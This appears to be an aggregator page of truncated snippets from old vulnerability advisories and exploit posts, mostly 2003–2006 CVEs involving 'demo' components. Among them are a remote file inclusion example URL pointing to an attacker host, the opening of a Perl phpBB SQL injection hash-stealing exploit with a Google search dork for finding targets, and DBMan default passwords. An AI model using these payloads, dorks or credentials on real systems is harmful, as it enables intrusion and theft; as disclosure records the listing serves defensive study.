AlstraSoft Web Host Directory v1.2

AlstraSoft Web Host Directory v1.2 Homepage: http://www.alstrasoft.com/ It should be noted too that the demo for this script is on a different domain which also sells a WebHost Directory which looks to be the same product/company called HyperStop WebHost Directory 1.2. Both scripts seem to be the...

CVE-2006-1526

Buffer overflow in the X render Xrender extension in X.org X server 6.8.0 up to allows attackers to cause a denial of service crash, as demonstrated by the 1 XRenderCompositeTriStrip and 2 XRenderCompositeTriFan requests in the rendertest from XCB xcb/xcb-demo, which leads to an incorrect memory...

CVE-2006-1526

Buffer overflow in the X render Xrender extension in X.org X server 6.8.0 up to allows attackers to cause a denial of service crash, as demonstrated by the 1 XRenderCompositeTriStrip and 2 XRenderCompositeTriFan requests in the rendertest from XCB xcb/xcb-demo, which leads to an incorrect memory...

CVE-2006-1526

Summary (CVE-2006-1526) A buffer overflow in the X.Org X server render extension (XRender) could allow an authorized client to crash the server and potentially execute code with root privileges. The issue stems from a typographical error that miscomputes memory allocation sizes in XRenderComposit...

CVE-2006-1526

Buffer overflow in the X render Xrender extension in X.org X server 6.8.0 up to allows attackers to cause a denial of service crash, as demonstrated by the 1 XRenderCompositeTriStrip and 2 XRenderCompositeTriFan requests in the rendertest from XCB xcb/xcb-demo, which leads to an incorrect memory...

Autonomous LAN party File iNclusion

Autonomous LAN party File iNclusion -------------------------------------------- Site:http://www.nerdclub.net/alp/ Demo:http://www.redfiles.net/cup/credits.php -------------------------------------------- Example: http://victim.com/path/include/SQuery/gameSpy2.php?libpath=http://evilsite...

Oxynews Sql İnjection

Oxynews Sql njection Website:http://www.oxynews.net/ Demo:http://www.scriptevi.com/files/demo/news/oxynews/ ------------------------------------------------------------------- Credit:R00t3RR0R Website:www.biyosecurity.be / www.biyo.tk mail: [email protected]...

n8cms.txt

----------------------------------------------------------------- n8cms 1.1 & 1.2 version Sql İnjection And XSS Site:http://www.nathanlandry.com Demo:http://www.nathanlandry.com/n8cmsv1.1/ Credit : Liz0ziM webpage:www.biyosecurity.com Mail :[email protected]...

phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== phpBB 2.0.19 Style Changer/Demo Mod SQL Injection Exploit =========================================================== !/usr/bin/perl | | | \ | | |/ phpBB Style Changer/Demo Mod--G...

phpBB 2.0.19 - Style Changer/Demo Mod SQL Injection

!/usr/bin/perl | | | \ | | |/ phpBB Style Changer/Demo Mod--GET HASH EXPLOIT Created By SkOd SED security Team http://www.sed-team.be [email protected] ISRAEL google: "Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style" use IO::Socket; if @ARGV 3 print q phpBB Style Changer\Viewer MO...

dbmanDefault.txt

Tunis the 31/jan/2006 bug found by Fireboy [email protected] Product affected:DBMan for Windows and Unix Product vendor: http://www.gossamer-threads.com the problem with DBman is default passwords these are default pass : admin/admin,author/author,guest/guest if the admin not change the pas...

Cpanel advisory

Advisory 2 $ Tittle: Cpanel demo account $ Author: UserMaster $ Contact: [email protected] $ Date: Sunday,5 , 2005 $ Website: http://defacersecurity.com $ Risk: Medium $ Vendor URL: http://cpanel.net/ $ Affected Software: All builds on all platforms are vulnerable up to and including 9.1.0 buil...

randshopSQL.txt

Randshop all versiyon Sql İnjection Website:http://www.randshop.com Demo:http://www.randshop.com/demoshop/ ------------------------------------------------------------------- Credit:Liz0ziM & wannacut Mail:[email protected] www.biyo.tk...

Oracle 9i Application Server PORTAL_DEMO ORG_CHART Accessible - Active Check

In installations of Oracle 9i Application Server AS, it is possible to access a demo PORTALDEMO.ORGCHART via modplsql. Access to these pages should be restricted, because it may be possible to abuse this demo for SQL injection attacks. SPDX-FileCopyrightText: 2003 Frank Berger Some text...

CVE-2005-3375

Multiple interpretation error in Ikarus demo version allows remote attackers to bypass virus scanning via a file such as BAT, HTML, and EML with an "MZ" magic byte sequence which is normally associated with EXE, which causes the file to be treated as a safe type that could still be executed as a...

CVE-2005-3375

CVE-2005-3375 involves an interpretation error in the Ikarus demo version where a file with a BAT/HTML/EML content containing an MZ magic-byte is treated as a safe type, enabling a remote attacker to bypass virus scanning. The vulnerability is demonstrated by a “triple headed” program containing ...

[Full-disclosure] User privilege escalation exploit.

Vendor: CyberSource Version: Business Center, Essentials/Small Business, https://businesscenter.cybersource.com/ Severity: Vulnerability allows malicious employees or comprimised accounts to steal money. Vendor Status: Notified, expects to fix issue some time in 2006. Overview: Business Center is...

CVE-2005-1607

Cross-site scripting XSS vulnerability in shop.cgi in Remote Cart allows remote attackers to inject arbitrary web script or HTML via the 1 merchant or 2 demo parameters...

CVE-2005-1547

CVE-2005-1547 : BakBone NetVault is affected by a heap-based buffer overflow in the demo version (and possibly other versions) that allows a remote attacker to execute arbitrary commands by sending a large packet to port 20031. The vulnerability is rated CVSSv2 base 7.5 (HIGH) with network access...

CVE-2003-1143

CVE-2003-1143 affects Croteam Serious Sam demo test 2 (version 2.1a) and Serious Sam: The First Encounter/Second Encounter (version 1.05). The vulnerability allows remote attackers to trigger a denial-of-service (crash or freeze) by sending a TCP packet with an invalid first parameter. The availa...